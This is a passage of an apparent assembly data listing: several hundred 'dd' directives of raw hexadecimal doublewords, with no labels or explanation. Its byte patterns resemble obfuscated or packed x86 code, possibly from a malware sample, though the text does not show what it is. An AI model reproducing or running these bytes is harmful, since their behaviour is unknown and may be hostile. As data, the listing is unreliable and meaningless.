3253E8CFh, 59E48FFFh, 55h, 5243A267h, 9F01B922h dd 5538E774h, 0D2D148F0h, 0C76B694Bh, 0FCABEE7Eh, 35179E16h dd 737EC76Bh, 0CF96B9A2h, 46C4A7EAh, 203409CEh, 3B3B2AEDh dd 0FFF4CB58h, 2E7178BFh, 0A028FE0Bh, 1AB678C0h, 0F50D3455h dd 72557210h, 1F669DE2h, 6CE48F63h, 94h, 4E0D0493h, 2D2EE72Bh dd 104BC60Ah, 0F368A9EDh, 6E827E15h, 88467EC7h, 2BEFD289h dd 178F75E6h, 7B9EBD59h, 65DDBFB4h, 1F627EC7h, 793EC63Ch dd 0CA4CA7B7h, 38B89BC3h, 0C3987C21h, 442AD9A0h, 0BCF40BBDh dd 270D5078h, 0D1AFAC69h, 12491203h, 11A38F84h, 25E5ABBh dd 45000001h, 0DDAB89D2h, 78462437h, 17E5C398h, 0B48260FBh dd 811CFA61h, 3229ECEBh, 0CB908654h, 67F41FEDh, 556BB89h dd 0EA715527h, 84D53808h, 414B38Dh, 9E6C4A11h, 9B0AE873h dd 2B4E0D04h, 53312AE7h, 60D50C9h, 39C0A655h, 78BFB57Fh dd 0DD9B81C4h, 8365EC38h, 878C01Dh, 0B53316C5h, 0AB91EF7h dd 8539D7B0h, 2BE9CF7Eh, 8A5174E7h, 0C49A31A7h, 0FA78BF86h dd 1927C017h, 0D30655C1h, 20CFE9EAh, 593BC23Ah, 0DE78BF75h dd 7442B89Bh, 9B97BAA1h, 6Dh, 9D14838h, 38089C23h, 0CA0D78B9h dd 0ADAE63A7h, 540709C7h, 0E42DFB71h, 70F5F7F3h, 37E6368Fh dd 0DC7F9351h, 540FF2B9h, 9459DA47h, 166D35D6h, 31139A12h dd 0B61694A3h, 92C94773h, 3526EBAFh, 0D3888957h, 0B5A66CB0h dd 0A3188692h, 0DBC19A77h, 2EE7F71Dh, 259B7E2Dh, 0BBA1BA57h dd 3D51BCF6h, 0CAADCFD8h, 3130Fh, 20B00000h, 48130415h dd 2B30E125h, 0C4FC408h, 0EA71A5E9h, 0C99283C7h, 0A8B362A6h dd 8AD14185h, 6EED2367h, 4E0D074Bh, 89572A2Bh, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 361F68h, 242C8900h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 51241489h, 28033668h dd 0D1F7590Fh, 8104E9C1h, 0F12BEC1h, 64C9813Eh, 817E4714h dd 0AE3373C1h, 59CD8986h, 24148B54h, 4C481h, 1F680000h dd 89000049h, 0E8892404h, 58084289h, 5A2434FFh, 8B04C483h dd 8952242Ch, 4C281E2h, 81000000h, 4C2h, 24148700h, 0AC78E95Ch dd 1FF1FFF9h, 0B85FB511h, 60DCE68h, 0E0FFC503h, 5FB041Dh dd 56C19DEDh, 5D4C7898h, 3EE12322h, 3811227Dh, 50D09C0Ch dd 0D8030EDh, 4BC951B1h, 45A4B519h, 835D632h, 70C141CEh dd 301D6685h, 20795BF3h, 59E4C9FBh, 6C26C68Ch, 3FC5A0FDh dd 21288898h, 69DB5352h, 6A0648Bh, 7D2B6B91h, 25B6F7BBh dd 6ADEF77Dh, 6B4FFB6Bh, 0D04B8D8Dh, 6A060Dh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B81F42C3h dd 0C1F0A010h, 8D89257Ch, 6070679h, 6810Fh, 95090000h dd 60731A9h, 2CE585C7h, 62D00607h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3D90A2C3h dd 46D6809h, 896056D0h, 710D195h, 0FD950906h, 6106070Dh dd 2D0585C7h, 607h, 0B5FF0000h, 6070399h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 14h, 90C35141h, 0BD95FFh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0E53D14C3h, 52FCD705h, 13E9E207h, 5000000h dd 36C52822h, 96BDAD08h, 0D1CF358Bh, 0E053F698h, 6A4C45h dd 16B595FFh, 0C08B0607h, 0CB590DEBh, 73F525FFh, 0FCD63C95h dd 0E82DC1A3h, 14h, 9BBBC734h, 41669E13h, 0B4C6AEC9h, 0FF93BCBFh dd 849B6E3Dh, 76BB665Eh, 80C6819Ah, 60000062h, 12CD9D09h dd 8D290607h, 60710A5h, 31C92B61h, 7160D95h, 0E148B06h dd 81DABF0Fh, 10645BC2h, 0BE92Fh, 0D4C50000h, 6095FFFBh dd 87B272E4h, 0D3EA8170h, 666B4CB9h, 81444DB8h, 7C5684F2h dd 0FE92Bh, 0E57A0000h, 11235A5Ch, 876B2431h, 948130D3h dd 0E14896Ch, 2DF18529h, 5E90607h, 47000000h, 0E8FA6679h dd 8102E983h, 445026E0h, 8B494955h, 7038DBDh, 50F98106h dd 0FFFFF9Eh, 1E85h, 0CB816600h, 25E9ED96h, 0FE000000h dd 1664BE4Dh, 3971145Eh, 0F268B847h, 0FFD0A33Dh, 0FB5A850h dd 6AE9DFBFh, 0BFFFFFFFh, 9195E6DCh, 0D5A5E59Dh, 0EE9h dd 0E903F100h, 2Eh, 0 dd 0E9000000h, 0B03h, 0DD30868h, 6F38E906h, 2368FFFAh dd 0E9060DD4h, 0FFFA6F2Eh, 0DD5E068h, 6F24E906h, 0CA68FFFAh dd 0E9060DD6h, 0FFFA6F1Ah, 0DD86368h, 6F10E906h, 0E568FFFAh dd 0E9060DD9h, 0FFFA6F06h, 0DDAD968h, 6EFCE906h, 3481FFFAh dd 88C934B3h, 420D78F7h, 0C4FBA39h, 0C795007Fh, 2AD845C4h dd 6FEEFDBFh, 0B231B404h, 0F9787347h, 3AB9C08Eh, 0DCF3664Bh dd 0F62041AEh, 0A41B6FC4h, 0D760D0DBh, 5877EA89h, 7A264C7Fh dd 0EB8CF051h, 239716A5h, 6FE25BFBh, 2C538F6Fh, 39400E85h dd 0DD416AC9h, 0B48F0B40h, 0BC0548DFh, 0B48F0649h, 0B3234CDFh dd 0B18FEDBAh, 5E732DEFh, 70h, 0E6BF0077h, 4CB01198h, 74D8EBABh dd 0FF48B819h, 705FD21Bh, 38264C7Fh, 0A7026679h, 0E9FABB2Ah dd 59C92A85h, 86FF07C7h, 53AF3F13h, 77F0192Ch, 0AF94BB2Eh dd 40C9DFB4h, 8BE291ECh, 1E8EB734h, 572365D8h, 0BE33D898h dd 54ED343h, 2BDFB4CFh, 53F4586Bh, 2DA76D0Dh, 0C7EDB7A8h dd 0A4930266h, 593AB6D7h, 0E2502E8Ch, 0EDFF732Dh, 2A000000h dd 9F18A3EDh, 7FECE356h, 0BDE6264Ch, 1D94074Dh, 48E94D5Eh dd 0A616770Ah, 0E84C5F1Dh, 0E727947h, 1998236Dh, 4C84ABB2h dd 0ECFFC126h, 2DBC026Dh, 57FF1FC9h, 724B6BDEh, 2AA1D3ACh dd 8AE95968h, 2EA5E261h, 9FFA5E6Dh, 0B929BCF8h, 0E65FE727h dd 0AEDA8173h, 3D95D7D5h, 0A7533E13h, 0C6D9983Fh, 38970762h dd 0D24B84F7h, 5E87D5A3h, 0F93B84FDh, 0B82B2EF1h, 0D5A3AB97h dd 0A72092BBh, 0BE47B71Ah, 36EEDFCh, 658D32B1h, 3913BA8Ch dd 89F2F67h, 0A0F50000h, 7C3DA827h, 3E81EC6Bh, 0F0C32EADh dd 4B0974F3h, 0B64CB938h, 0EB6A793Bh, 2EAD3080h, 75F4F7C3h dd 0B635440Ah, 606FE2C7h, 722041ACh, 0D21BEB40h, 7F391689h dd 0F019264Ch, 4C7F024Dh, 0EE165026h, 0A8E0F11Bh, 982191F2h dd 0DD48C7DAh, 0EFF2C293h, 5BD20F8Eh, 0D31C8C1Fh, 0A31C38E4h dd 53AF1C30h, 82F5362Ch, 0DFB4AF4Dh, 70E35C85h, 0DFB4AF5Fh dd 85E94A73h, 0B4AFE3E8h, 0F3F4C5DFh, 1BAEEE8Fh, 39069BB7h dd 0EEBB9C18h, 2DCBB290h, 0D26173h, 0ED8C0000h, 386D2A3h dd 96B92C9Fh, 0BC264C7Fh, 6DD13293h, 97FB8ECCh, 4C84E3FAh dd 34470926h, 75044AB5h, 9FA76711h, 75B3B326h, 72E9D3ACh dd 0E03B9F22h, 6FE81170h, 8D9CB326h, 47B6DFB4h, 0B30E7279h dd 0D81E252h, 59CC45C1h, 0D5AEDA98h, 7EDB8CCEh, 29C7DB1Ah dd 89F95A6Dh, 5976E92Ah, 79D5A382h, 2D76EF50h, 0D3A0E5B6h dd 0B00B6FD0h, 0D4384B09h, 32800979h, 0F7C530AFh, 61AD4FF4h dd 0B38513BAh, 7847Bh, 42451000h, 861958C3h, 0C8D39C07h dd 0E9DDE49h, 5356248Fh, 529B67D4h, 97028100h, 0DA45C4C7h dd 218C0B9Eh, 0DECD4C5Fh, 0AB4986F9h, 57892041h, 1CAFED02h dd 0AAE9609Dh, 5E20A919h, 0E7F2BC33h, 4A852883h, 88264C7Fh dd 547FFE5Fh, 9F18A3EDh, 0E7576A28h, 2BBE00A1h, 0CF6070B2h dd 6AAE5463h, 0F92599FAh, 6971E45Dh, 0AB2C533Bh, 337D1E82h dd 0F0BE29A8h, 84E885E9h, 0F7546B26h, 0A7A81B64h, 0AF54FF1Eh dd 0FF1E133Ch, 99163F54h, 0A9E3A45Fh, 0E94A1FC8h, 4CB38079h dd 0BBF87702h, 63F43072h, 59C307F7h, 0FFB699B6h, 2090B954h dd 37AAC997h, 54FFB618h, 3230003Ah, 4291EC73h, 7F1C80E1h dd 54FFE753h, 0C3FCC962h, 75680C4Ch, 0E2C7424h, 26AF1F80h dd 96D85158h, 3CF9A3F6h, 0BD1E8E98h, 197D0C52h, 0FFD1547Ch dd 0D29F8E54h, 1D96256Bh, 63D3D6A6h, 0C2C99702h, 80280749h dd 49347D6Dh, 0A618790Ah, 504C07C9h, 0EE34A490h, 33B6047Bh dd 69ED31C3h, 0E75EA7F0h, 58B31794h, 0FFE59AB5h, 477B854h dd 54FFE5CBh, 0D7DDE07h, 0E0061488h, 0B6355E5Eh, 17A9A42h dd 0FFDDB68Eh, 5CE0840h, 3F4C1325h, 87E9B5CDh, 2925C226h dd 2C40E9EDh, 0CE457E4Bh, 3E99FD8Ch, 91704ECEh, 6E1FDFDAh dd 4A000003h, 67A74652h, 65C9DA99h, 0BD30A90Ah, 2C53ABEDh dd 0A61D96BFh, 0FF65D5D4h, 0B0AB8ACCh, 30811CEEh, 0DA503BC0h dd 0FCF5EA3h, 0E31B8E07h, 7554BA08h, 9E3EE84Ch, 72B4FD76h dd 0EC74E031h, 4BD0402Ah, 5EB4C761h, 1A910A33h, 5BC64554h dd 2DE18615h, 218C825Eh, 5C7174Fh, 88CD0000h, 441580FFh dd 1659C443h, 0D89B0685h, 93E14CCBh, 0DE249110h, 0C3424113h dd 6851858h, 4DCCDF9Bh, 8E0D9CE2h, 847BA9Fh, 4A2041AAh dd 0A41BC318h, 1570D4D7h, 4BCB13A5h, 9F475FD2h, 70992C53h dd 96256B0Ch, 6E61D41Dh, 64DFB49Fh, 0E485CB3Bh, 4689FC97h dd 8CDFB49Fh, 0FD9E0263h, 2CC62ABDh, 394C693h, 724827Eh dd 0C88D1778h, 0C3438BFBh, 82CFD74Ah, 0A211D5ABh, 0F6ACEDDh dd 0FAC42FAEh, 0A4EA8BEFh, 7E17B115h, 64044AB1h, 96E46916h dd 0E254AF13h, 0C728C914h, 0BF08E648h, 6EB76D25h, 0E2000002h dd 0A31C38E4h, 5A505A30h, 0C689F82Ch, 3E4D0EB5h, 0A51E7FDAh dd 0DE5D6C2Eh, 3EA22173h, 0C00F82CBh, 12DFBE51h, 73D4D7A3h dd 51547E03h, 138ADFBEh, 83DE4241h, 0B5C48A13h, 0A7B30610h dd 0C800D219h, 4DDh, 6AE9E2B7h, 0AE2DBEFFh, 0F06F7C43h dd 36B53685h, 7BFA89CBh, 0BBF9F40Eh, 7E3EA928h, 3581EC6Bh dd 86C833B2h, 0A08574F3h, 41A9222Dh, 0A9FE3020h, 85D638E4h dd 0E647A206h, 5090FA6Dh, 99C22C5Ah, 0BFCA9435h, 63D50446h dd 21CB211Ch, 0BE8EA1AEh, 2788B1DFh, 0A5EB56B7h, 0C83FB216h dd 626DE08Bh, 70DFBE8Eh, 2782E647h, 59602EB7h, 17605BF5h dd 0BE8EABA4h, 0E7EA7DFh, 9FE14815h, 0E508D0Ch, 89A69A6Bh dd 0BBBE0CE8h, 0B2664001h, 8361E151h, 30732767h, 191h dd 18A3ED5Bh, 0E5FF41B4h, 94D02681h, 0EAFDBD64h, 1CAFF17Ah dd 141E609Dh, 0C69C9723h, 0EC30C232h, 2FA6EF68h, 67EC5C6Fh dd 2C534367h, 34B7067Dh, 0C30748BBh, 224BDFB5h, 0C62A53B2h dd 0B8970A53h, 9ADFB5C3h, 577C0171h, 84DFB5C3h, 5B9DD6A3h dd 153DBA38h, 77F76737h, 732E2C99h, 3F46h, 38E47100h, 0F1C182D6h dd 0CE2F8AEEh, 35AE0F6Ah, 53AF8EC2h, 3B9FC82Ch, 0B4AFB59Eh dd 0EC63A6DFh, 5AB519ACh, 0C624F1EAh, 732DCBE8h, 7DC086C8h dd 0D7418503h, 0FC606330h, 0A0A531A1h, 0D0000000h, 66A2D91Bh dd 883B72A3h, 9C0C9FE1h, 0DA3E4D13h, 0A5002567h, 26BCD489h dd 5C6F2DB6h, 4D0E85F8h, 7B45CE3Eh, 22990C70h, 34470952h dd 0A4146FD3h, 0C746551Bh, 4C025960h, 56269D26h, 145AE353h dd 4A920685h, 81DE51CAh, 0D12C56A8h, 0FAB82FA8h, 0BFFD68E7h dd 4A77872Ch, 0A57719A3h, 3446Dh, 82055000h, 0C6D99803h dd 893DC47h, 4E5D1E89h, 931664CFh, 925BA714h, 0D742C1C0h dd 1A850487h, 61CC4B5Eh, 1E0D8C1Fh, 0A789C639h, 97C92041h dd 1CAFED42h, 5D682CA3h, 5F218CEDh, 0EDA2CD4Ch, 289F18A3h dd 0A2E8586Bh, 0E5F8B82Fh, 2DB62681h, 9CD95863h, 7FEFE053h dd 0BAE3264Ch, 0F014B84Ah, 9C980477h, 99DA2C53h, 0B49C2926h dd 95BA2DDFh, 0BDDFB49Ch, 0E8A81794h, 0AF1374D5h, 0B49C3F12h dd 8E5BF4DFh, 0DD56FE1Eh, 0AB7F366Ah, 981740D5h, 18A3ED6Dh dd 3E4D13B4h, 4F0B82BFh, 923ACC3Ch, 0FFB7F972h, 4D7AC08Fh dd 1083DE4Eh, 2C53B430h, 0F895F922h, 0DFB554D3h, 0A10586D5h dd 0CA2EB100h, 4C7E4B7Ch, 0E6917A4Eh, 5BD7381Bh, 714FAD7Ah dd 1E732E01h, 32h, 1C38E449h, 0AF1C30A3h, 0D362C53h dd 0AFC70CA9h, 3314DFB4h, 9BE42D66h, 0B4AF2728h, 5F022BDFh dd 0DFB4AF70h, 49C93962h, 732DCB6Bh, 0CC18h, 0A3ED4300h dd 4113B418h, 7F98B72Ah, 91BA264Ch, 0B317AAEAh, 0F293F758h dd 883D7ACh, 34B703A4h, 58632CD3h, 0ACF293F7h, 2E379E1Dh dd 74264C84h, 0BE2EB9FDh, 0E1606B35h, 5B6C2DA4h, 0A32C9CF7h dd 0B6C988DDh, 3296F752h, 47C04488h, 0AC5E5CD4h, 0D6557ED3h dd 219ABA62h, 0AEF9D7AEh, 57EA7D5h, 32A5CC8Eh, 0D5A3571Dh dd 2CAB0C35h, 4BF0F3C1h, 13BAB4A9h, 0C21F5729h, 0D2000001h dd 1A850487h, 5EC9485Bh, 0A00B8A11h, 0E651D0D3h, 29961594h dd 3F4210D9h, 820555C0h, 0C9DC9803h, 0A91DF4Ah, 44B79C8Bh dd 2041A60Bh, 0EDC01547h, 685D6AFh, 0F5BB26A5h, 0D7F2D6D5h dd 5A015BEFh, 0CB268A19h, 65AEEB6Ah, 4C3EDDF2h, 5CCCF526h dd 1C38E413h, 0AF1C30A3h, 0C7362C53h, 1B94F5F6h, 5CD5D0A4h dd 0B4AFE6E9h, 53C3ECDFh, 0AF5B700Dh, 9778DFB4h, 0CB8E6CCAh dd 0B03D732Dh, 68000000h, 0B418A3EDh, 0DE424113h, 1FAAF46Bh dd 6BF060BBh, 264C8452h, 26A5347Ah, 82E6F5BBh, 88CA34D8h dd 0AC1F98F9h, 0D3AC5E04h, 3AAE2D56h, 0B0F97292h, 0D71C096Eh dd 5910388h, 381D46ACh, 0E723D760h, 6B911686h, 0E9D5AE3Dh dd 0B5FE47C0h, 0A2140D42h, 0AC1C45D5h, 0D9525123h, 1D8D1C62h dd 6F0351BCh, 0A9CBA7CEh, 751A7B2Eh, 13BB4BC9h, 0CE437B4Dh dd 0C6000000h, 0E79F8F3h, 52BD3C4Fh, 94FF7E0Dh, 0DA45C4C7h dd 1D8A0998h, 3B4E0CE5h, 7E0151BCh, 0C5C094FFh, 695DB46h dd 40B39887h, 2041A50Fh, 0EDBC1143h, 487D6AFh, 0F7B924A3h dd 0ED3A65E4h, 13B418A3h, 4BBF3E4Dh, 930A8383h, 0F954C4C7h dd 5A500086h, 9E11522Ch, 0DFBE50B1h, 0B31778A1h, 0F487C940h dd 26B5FB84h, 67723CA7h, 59199003h, 1787E246h, 0C3710092h dd 71E87BB6h, 0DD389C2Fh, 0F7676236h, 84CA31FEh, 450B76F5h dd 6231D236h, 2C9FE861h, 0F7412F23h, 5096062Fh, 0D33A07CCh dd 0A1FAB88Dh, 0B6CCDDEh, 0F18A5092h, 98C546CDh, 0AC1CAFF1h dd 0B9EE04Bh, 46551B92h, 0D11787E2h, 0C99h, 0D91BEC00h dd 0E3F776F6h, 0B9C53590h, 1FA8EDE4h, 45541ABBh, 717440E1h dd 992C6C0Dh, 0C3C69435h, 0EDFCBE5Fh, 18ABE889h, 3F4C13B4h dd 687B3ADBh, 0EC839004h, 240C8904h, 0C181E189h, 4, 8704E983h dd 505C240Ch, 405E089h, 2D000000h, 4, 5C240487h, 57241C89h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0BD552414h, 60DD194h dd 685D5B55h, 7BC5h, 83242489h, 5A042404h, 24048153h, 60626A8Eh dd 5108428Fh, 626A8EB9h, 84A2960h, 2434FF59h, 4C4835Ah dd 5B2434FFh, 4C481h, 47E90000h, 19FFFA64h, 695D5572h dd 0B81E1915h, 60DDBCCh, 0E0FFC503h, 6E3E1BD8h, 6F90C405h dd 219384ACh, 3780E65Bh, 26AFF95h, 0B7E6CB4h, 3E3B11C4h dd 11D9C7C2h, 4218CB3h, 174A2351h, 7A14860Ah, 2C831205h dd 5B0BAE86h, 46558289h, 7FCD695Dh, 1D784575h, 782AB2CAh dd 0D38E0B7h, 3600D826h, 77935AB1h, 3984309Ch, 39968409h dd 965FD49h, 0DDBD8D8Dh, 6A060Dh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0A127ECC3h, 0A0723295h dd 1A810Fh, 830F0000h, 14h, 0EE8h, 7440AA00h, 0C318E629h dd 0CDFCE8C9h, 5ED83695h, 6798D89h, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0FFF05EC3h dd 0CE8CFB0h, 0C1000000h, 3EF8DC99h, 2449461Ah, 52EAAF03h dd 8A98589h, 5E580607h, 2CE585C7h, 6C000607h, 0BD890000h dd 60711DDh, 15D19D8Bh, 85C70607h, 6072D05h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0DCC35040h dd 75858B9Ah, 0FF06072Bh, 721C9B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 6206DA78h dd 318D8952h, 0FF06070Eh, 700BD95h, 0FE8B6606h, 95FF006Ah dd 60716B5h, 9EBC08Bh, 1EBCDC7Dh, 0FD023D8Bh, 7E8D8D7Eh dd 6A060DDEh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 8997C351h, 706798Dh, 11E906h dd 0EC070000h, 0E60A8844h, 55EE31FBh, 69447BA1h, 0C767C34Eh dd 72CE585h, 60FC06h, 0FE800h, 0D01F0000h, 0E027C57Bh dd 0E6B91FC9h, 5C1253E8h, 39BD8B19h, 5806071Bh, 2D0585C7h dd 607h, 952B0000h, 6071FB1h, 11E5B5FFh, 6A0607h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8B607BC3h, 72C65B5h, 398D2906h, 61060706h, 0BD95FFh dd 0DF800607h, 0FF006AE3h, 716B595h, 0EBC08B06h, 3C27012Ch dd 0FD7DADC8h, 0A735F3DFh, 641D2181h, 0DFCAAD6Fh, 0F81A3066h dd 317E29DCh, 501E131Bh, 0FC603D71h, 53CAC985h, 0AEA27274h dd 0DE8A9h, 8D0000h, 8546AE49h, 0B04D103Bh, 81BA1C6Dh dd 525A69C8h, 95895E4Bh, 60706B9h, 5E37C681h, 0E8570000h dd 0Ch, 6ED831FDh, 0DB37EC48h, 0BF937CE7h, 595F5957h, 175868h dd 5B0FB400h, 151EE981h, 168B490Eh, 32119589h, 0F2810607h dd 3218125h, 0A9958B60h, 61060710h, 67EFEA81h, 8D8B32ECh dd 6070C49h, 3395F281h, 8D8B4AF1h, 6071291h, 8AD88152h dd 8F5F056Eh, 0BE906h, 0A2F30000h, 7FE2ECA5h, 6B534FE5h dd 1EE8364h, 8B0Fh, 4E4E0000h, 758D334Eh, 4B060719h, 1B850Fh dd 0FA8B0000h, 30E9h, 564D0600h, 16058BCh, 4582BF1Ah, 8E7D8456h dd 90DCB166h, 15B53157h, 0E906070Ch, 0FFFFFF7Ah, 7DF1AEBAh dd 0BE0BE099h, 3972F59Ah, 0FED82102h, 12E820h, 0FD7E0000h dd 64333D02h, 0E99F6235h, 0EBA7DF11h, 532F796Eh, 7259D8Bh dd 665A0607h, 0C281FA8Bh, 62B9h, 8B66C933h, 0A048BD8h dd 8E9h, 0F1B06100h, 9CC92F4Fh, 21F081A1h, 0E93905AAh dd 13h, 419A224Fh, 2E388FB5h, 0A851E150h, 0CE45AABCh, 815E1016h dd 8D08F4E8h, 0C081FC3Dh, 26FCFE6Bh, 20A98501h, 4890607h dd 99BD8B0Ah, 8B060721h, 7165DB5h, 1E98306h, 691F13BBh dd 4949492Ch, 0A36FD781h, 0F981282Ah, 0FFFF9E04h, 17850Fh dd 0F500000h, 38Bh, 0F08B6600h, 1DE95Eh, 0EF040000h, 231BE13Ah dd 0F0B70F20h, 0FFFF74E9h, 2B4F4DFFh, 84504BDBh, 630C4BC7h dd 8DE13D78h, 0DE0ED8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0BE66E729h, 8D89F29Bh dd 6070679h, 2CD9B58Bh, 85C70607h, 6072CE5h, 722Ch, 204D9D89h dd 85C70607h, 6072D05h, 0 dd 0B5FF5A50h, 6072ABDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0E3C35040h, 64FAEA6Ah, 0FE94692h, 0C6000000h dd 0B6A56C88h, 444926FFh, 0C1DEAF17h, 95FF5BA2h, 60700BDh dd 95FF006Ah, 60716B5h, 4DEBC08Bh, 8A4D7221h, 3FC86E58h dd 24F852h, 0BA3BF746h, 0E1B68F13h, 5946AA7Fh, 0D62F36C2h dd 0A28FBF3Dh, 69946C69h, 3A747FEh, 74702F00h, 0B4854999h dd 6A873CF4h, 0CF2C7206h, 0BAC9956Eh, 0A3DD5469h, 0AD353130h dd 0A7A9168h, 0FBB6D970h, 0C98D8D61h, 8B060DE1h, 798D89C7h dd 8B060706h, 0E585C7C1h, 0BC06072Ch, 2900005Bh, 71AF185h dd 585C706h, 6072Dh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 5F4C357h, 139DB5FFh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 10699EC3h, 0FBB1DF8Bh, 3141BD89h, 958B0607h dd 6070A7Dh, 0BD95FFh, 0F08B0607h, 95FF006Ah, 60716B5h dd 1FEBC08Bh, 629E3759h, 7FEBE63Ah, 8917CE74h, 0ED9CB5BCh dd 0B2841D01h, 5B56C239h, 0C6B89507h, 8DA205AEh, 0DE2D08Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 72591679h, 0C870Fh, 830F0000h, 6, 0E3DBD8Bh dd 8D890607h, 6070679h, 0F1B58B56h, 5E06072Bh, 2CE585C7h dd 6A000607h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0AC5BC5C3h, 0A6EBFFD1h, 0C7C68BD3h dd 72D0585h, 6, 99B50100h, 0FF06071Bh, 70B75B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 7C7BB96Ah, 0FF277EA7h, 700BD95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 1C7007D0h dd 0DE80356Fh, 8DBD89F4h, 6A060710h, 0B595FF00h, 8B060716h dd 0A87DEBC0h, 0F8AFAF8h, 4726F596h, 107B5DDFh, 0DD0F970Dh dd 4D70DE3Ch, 4D371E90h, 0A7C15D7Dh, 308C602Dh, 8AC60CC0h dd 0FBB73503h, 3F3F8BB0h, 9A63143h, 9EBE2763h, 8C212EABh dd 19641703h, 3B1720AFh, 98D6C09Ah, 8B706C05h, 4F55D47Fh dd 0DE9676C3h, 0BD443FAAh, 0FA0F3EE7h, 494DCBD7h, 55203DB1h dd 8277EE03h, 73924BCDh, 2E260AC8h, 6ED4B76h, 0EC2EFC73h dd 7F36129Dh, 0FC6C31E9h, 9E8h, 11E7F600h, 0FB6A5A2Dh dd 8D0F2BA5h, 6, 525BD8Bh, 0F580607h, 681h, 0E9852900h dd 81060707h, 6A11C0h, 0E1B52900h, 2B06071Ah, 0E78166D2h dd 34FFEE96h, 0CFF78102h, 590CF3B5h, 81F3BF0Fh, 0CA49ADF1h dd 28C0F77h, 8A000000h, 44C181F8h, 815E7B64h, 0ABA7EDEBh dd 2BF18148h, 2B72DCAEh, 70479BDh, 100C8906h, 9D99D09h dd 85890607h, 607042Dh, 8B04EA83h, 721799Dh, 7CFA8106h dd 0FFFFF96h, 0FFFFA985h, 0F8F8BFFFh, 0AE8216Ch, 6F000000h dd 0C45185D4h, 0E1152109h, 0ADBD099Ch, 5F060714h, 81E4D580h dd 707CC7h, 798D8B00h, 0B8060716h, 386F2BCh, 0EEBCF081h dd 0D1810386h, 24DDAC6Eh, 0B5891F8Bh, 6070A31h, 55AEEB81h dd 89603D67h, 7142D8Dh, 0F99D8906h, 61060704h, 56D5C381h dd 0B58B2DA5h, 60721E9h, 0AA32C381h, 0B70F4523h, 0E91F89F2h dd 7, 3B5748EFh, 8385E7DAh, 0F38B04EFh, 0F01E883h, 0FFFFB385h dd 8D52B6FFh, 0DE5008Dh, 0CDC8006h, 6798D89h, 0DE90607h dd 0AA000000h, 7B8B8C29h, 0FC0ADE76h, 0C0D54497h, 2CE585C7h dd 73C80607h, 858B0000h, 6071EADh, 2D0585C7h, 607h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0B5FF3BC3h, 6070B75h, 978365BBh, 0BD95FF73h, 6A060700h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 8152C352h, 0EB16AB26h, 6A56E10Fh, 0B595FF00h dd 8B060716h, 437DEBC0h, 291F79FEh, 1426F0AFh, 0FD63FF19h dd 1B2B0FD5h, 7F66A4BDh, 11C49959h, 7193AEECh, 80959FFEh dd 0F161D2D0h, 0C03EFEAEh, 87B6FD8Ah, 0A03CBF34h, 26667D6Ch dd 0E24713B2h, 0AE115658h, 0FBCD32DEh, 0BFB5F1D6h, 5A966AF7h dd 55DD3E45h, 1C9FAFDEh, 52B0AC8Ch, 0B4E01C53h, 0C41B24A1h dd 0D30466BBh, 0DE21109Fh, 0D7AF8643h, 20A487A6h, 0F69365F2h dd 905406F4h, 0F8F1437Fh, 7F29A7Dh, 9E8h, 3988E900h, 0CEA69C18h dd 0BF669DF1h, 0F5B098Bh, 587h, 7708B800h, 0C3814EA7h dd 5BE9h, 1870Fh, 68F80000h, 16B6h, 252D9589h, 295E0607h dd 71DB1BDh, 0E833FF06h, 13h, 0C1D975C2h, 0B500C90Bh, 0A26B41F8h dd 0CE3D1FADh, 0E9B9903Eh, 6, 3334212h, 5A5FEE2Ch, 0BE9h dd 52A7F000h, 2D5D7170h, 6EBF568Eh, 462DC281h, 0F2816BAEh dd 719509A9h, 10919D89h, 0C2810607h, 374A6AFEh, 13E9h dd 0A7A07D00h, 0A1B64F02h, 4B68A796h, 0BED582AFh, 0CC4560BCh dd 0FE952h, 57A0000h, 8CDD9FB6h, 0ED17021Fh, 65D3AA5Ah dd 66038FAAh, 6A8AD781h, 0F04EB83h, 0D88h, 85236000h, 6070FF1h dd 0FC08166h, 0EE81611Ch, 1, 1C850Fh, 8B600000h, 70081BDh dd 71958B06h, 6106072Eh, 25E9h, 66BE3F00h, 0F022BD61h dd 8D093A53h, 6070719h, 0FFFF34E9h, 0D26CFFFFh, 0ED9E28C5h dd 0EED3E5DBh, 60914E07h, 10E85CC0h, 1F000000h, 3817A79Bh dd 74F779E6h, 14BAA2C6h, 6689D0FDh, 5F9701BAh, 2C4D9D8Bh dd 0C7810607h, 6E86h, 12E8h, 874F5900h, 0D9A354C7h, 0D857EFB7h dd 0FD047864h, 5A634140h, 68h, 895EF500h, 7280DBDh, 3E34FF06h dd 0E959F8B6h, 0Bh, 